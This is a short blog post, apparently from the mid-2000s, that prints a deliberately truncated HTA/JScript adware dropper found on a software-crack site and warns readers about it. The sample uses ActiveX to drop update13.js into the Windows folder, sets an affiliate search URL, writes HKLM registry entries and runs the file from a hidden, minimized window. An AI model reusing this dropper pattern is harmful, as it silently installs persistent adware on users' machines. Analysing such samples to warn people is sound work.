A Quite Deadly Script
This little diddy was found on one of the many illicit software crack sites. This code is downloaded through your browser, and look at what it does! It writes directly into the registry. Quite effective for adware campaigns. I deliberately deleted the most dangerous parts of it, so as to avoid it’s reuse.
<html>
<head>
<script language="javascript">
try {
var fso = new ActiveXObject("Scripting.FileSystemObject");
var Shell = new ActiveXObject("WScript.Shell");
var tfolder2 = fso.GetSpecialFolder(0);
var filepath2 = tfolder2 + "\\update13.js";
var a2 = fso.CreateTextFile(filepath2, true);
a2.WriteLine(etc etc;');
a2.WriteLine('var burl = "http://searchcentral.cc/search.php?v=4&aff=2959";');
a2.WriteLine(etc etc');
a2.WriteLine(etc etc');
a2.WriteLine('var filepath = tfolder + "\\\\update13.js";');
a2.WriteLine('var Shell = ---------------------("WScript.Shell");');
a2.WriteLine('Shell.RegWrite("HKLM\\\\etc etc;');
<----<del>snip</del>---------------------->
Shell.Run(filepath2);
}
catch (e){}
</script>
<HTA:APPLICATION WINDOWSTATE='minimize' SHOWINTASKBAR='no' />
<title>sexy girls</title>
</head>
<body onload='window.close()'>
</body>
</html>
Lovely no? After you’ve been exploited with this, you’ll see ads for “sexy girls” everytime you run IE. Now I agree, some of you may not mind that, but for most its one more reason to avoid direct x and Explorer on the web.
SSh Scams update 21 May/05
The Old Ping Of Death
| 
